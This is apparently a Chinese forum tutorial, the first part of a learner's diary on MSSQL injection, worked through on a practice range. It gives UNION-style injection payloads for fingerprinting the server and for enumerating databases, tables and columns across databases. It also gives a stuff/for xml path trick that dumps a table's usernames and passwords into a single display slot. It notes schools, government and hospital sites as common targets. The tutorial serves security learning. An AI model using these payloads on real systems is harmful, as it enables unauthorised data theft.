探索 MSSQL 注入技巧:小白学习日记(上)

前言

记录自己的学习过程,投稿还能赚钱,所以就有了这篇文章,以后会持续更新。起个名字就叫《小白学习日记》吧!

在工作中遇到的 SQL Server 数据库还是蛮多的,但是网上并无很多关于 MSSQL 技巧总结,因此本文将总结一些个人的思路,同时也对云山师傅的课程做一个简单的补充。话不多说,马上开始。

图片[1]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

No.1 简述

Microsoft SQL Server(微软结构化查询语言服务器),也叫 MSSQL,是由美国微软公司推出的关系型数据库。默认端口号为 1433,但是此端口可能是动态变化的(可以修改配置)。

MSSQL 常用场景:

  • 学校、政府、医院、棋牌游戏、人事考试网站

常见搭配:

  • asp/aspx + SQL Server + IIS

No.2 MSSQL 注入常用的系统视图

先来了解一些在注入时可能涉及到的系统视图吧:

  1. sys.objects:可以查看所有类型的数据库对象,包括表、视图、存储过程。主要用于查询数据库的表,以及表的 object_id。
  2. sys.columns:存储数据库中每个表的列信息,包括列名、数据类型、长度等。
  3. sys.databases:包含 SQL Server 实例中所有数据库的信息,如数据库名、创建日期。
  4. sysobjects:旧版的 sys.objects;sysdatabases:旧版的 sys.databases;syscolumns:旧版的 sys.columns。
  5. INFORMATION_SCHEMA.TABLES:类似于 MySQL,用于查询表的名称。
  6. INFORMATION_SCHEMA.COLUMNS:类似于 MySQL,用于查询列名。

具体这些视图大家不用记,后文会说。

No.3 MSSQL 常用注入语句和使用技巧

在 MSSQL 环境中执行的一般查询语句默认都是在当前数据库中进行查询。如果当前数据库中没有我们想要的信息(一般是有的),是否可以进行跨库查询呢?答案是可以的。大多数跨库查询操作都是在所查询的视图前面加一个数据库名和一个点,例如:select top 1 name from 数据库名.sys.tables

下面的演示主要使用的是 MSSQL 显错注入靶场,显错注入靶场使用的数据库为 test(当前数据库),有效表为 flag。

判断数据库信息:

  • select @@version:判断数据库版本。
  • select @@servername:查询服务名。

获取数据库名:

  • select db_name(5):查询第一个非系统数据库,因为系统数据库只有 4 个:master、tempdb、model、distribution。

后续数据库是 5+1,select db_name(6)select db_name(7),以此类推。

图片[2]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

刚刚也说过了,从 5 开始是用户创建的数据库,那么 db_name(5) 就是用户创建的第一个数据库:baocuo。

图片[3]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

后面的操作同理,只需要递增数字就可以。结合后面说的跨库查询操作,就可以在当前网页上查询剩余数据库的所有信息。

图片[4]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

No.4 获取数据库表名

跨库查询数据库表名:

在上一步查询数据库名字的时候,可能会发现其他可能存有敏感信息的可疑的数据库名字。这时候就可以进行跨库查询。

  • select top 1 name from 数据库名.dbo.sysobjects where xtype='u'
  • select top 1 name from 数据库名.sys.tables
  • select top 1 TABLE_NAME from 数据库名.INFORMATION_SCHEMA.TABLES

比如我们在上面看到了不是当前网页使用数据库的名字 time。

举例:获取 time 数据库的表名:

<code>select top 1 null,null,name from time.dbo.sysobjects where xtype='u'</code>
图片[5]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

当 top 1 的值不是我们想要的最终结果时,我们就接着查第二个。如果想显示更多数据,再在后面加 and name <>'第一次输出中的表名',或者是 name not in ('name1','name2'),后面查询结果的依旧如此(注意给表名加单引号!)。

查询当前数据库表名:

  • select top 1 name from sys.objects where type='u'
  • 或者 select top 1 name from sysobjects where xtype='u'
  • select top 1 name from sys.tables
  • select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES

No.5 获取表的 object_id

object_id:表的唯一标识符,类似于一张表的 ID(主键),object_id 可以用来查询列名等信息(注意和回显位的数据类型相匹配)。

<code>select object_id from 数据库名.sys.objects where type='u' and name='表名'</code>

举例:获取 time 数据库中 flag 表的 object_id

<code>select null,null,object_id from time.sys.objects where type='u' and name='flag'</code>

图片

看到这里大家可能会觉得,MSSQL 注入好麻烦哦,还得获取 object_id!QAQ

No.6 获取表的列名

获取当前的数据库列名:

<code>select col_name(object_id('表名'),n)</code>

将 n 从 1 开始递增就可以获取不同列的值(个人喜好这个方法)。

举例:查询当前数据库(test)中 flag 表的列名:

<code>select null,null,col_name(object_id('flag'),1)</code>

图片

或者使用以下语句都可以,这里就不一一展示了,道理都是一样的:

  • select name from sys.columns whereobject_id=object_id('表名') and column_id=1(将 n 从 1 开始递增就可以获取不同列的值)
  • select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS

跨库获取列名:

  • select top 1 name from 数据库名.sys.columns where object_id=表名的 object_id
  • select name from 数据库名.sys.columns where object_id=表名的 object_id and column_id=1
  • select top 1 COLUMN_NAME from 数据库名.INFORMATION_SCHEMA.COLUMNS

举例:获取 time 数据库中 flag 表的列名:

<code>select null,null,name from time.sys.columns where object_id=933578364 and column_id=1</code>

图片

No.7 获取字段

跨库获取字段值:

<code>select 字段名 from 数据库名.dbo.表名</code>

获取当前库字段值:

<code>select top 1 字段名 from 表 where 字段=某个值或select top 1 字段名 from 表 where 字段 not in ('值1','值2')</code>

技巧:同时在一个显示位显示多个字段(一行)的值,这样再也不用担心显示位不够了呢~

<code>select top 1 concat(字段名1,'/',字段名2,'/', 字段名3) from 表</code>

举例:在一个显示位置显示当前数据库中表 ywaq 的第一行值:

<code>select top 1 null,null,concat(id,'/',username,'/', password) from ywaq</code>

图片

技巧——在一个显示位显示一张表所有字段信息:

有时候我们注入的时候,top 1 不是我们想要的结果的时候,然后下面就得去进行 != 或者 <> 或者 not in 等等这些的条件排除操作,那有没有方法在一个显示位就能显示一张表的所有的信息呢,答案是可以的,我们可以将多个查询结果进行整合、拼接为一个很长的值,这样就可以在一个显示位显示啦。

<code>select stuff((select concat(quotename(字段名1),'|',quotename(字段名2),'|',quotename(字段名3)) from 表名 for xml path('')),1,0,'')</code>

举例:在一个显示位显示 ywaq 表的所有字段的值:

<code>select null,null,stuff((select concat(quotename(id),'|',quotename(username),'|',quotename(password)) from ywaq for xml path('')),1,0,'')</code>
图片[6]-探索 MSSQL 注入技巧:小白学习日记(上)-山海云端论坛

这个靶场的 ywaq 数据库只有一行数据,看不出来效果,下面我用自己搭建的靶场给大家演示一下。

可以看到,我在一个显示位显示了两组数据,每组数据用 “|” 分隔,每个值用 “[]” 包裹。

具体每个函数含义,大家直接去百度就行,在此不赘述了。

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容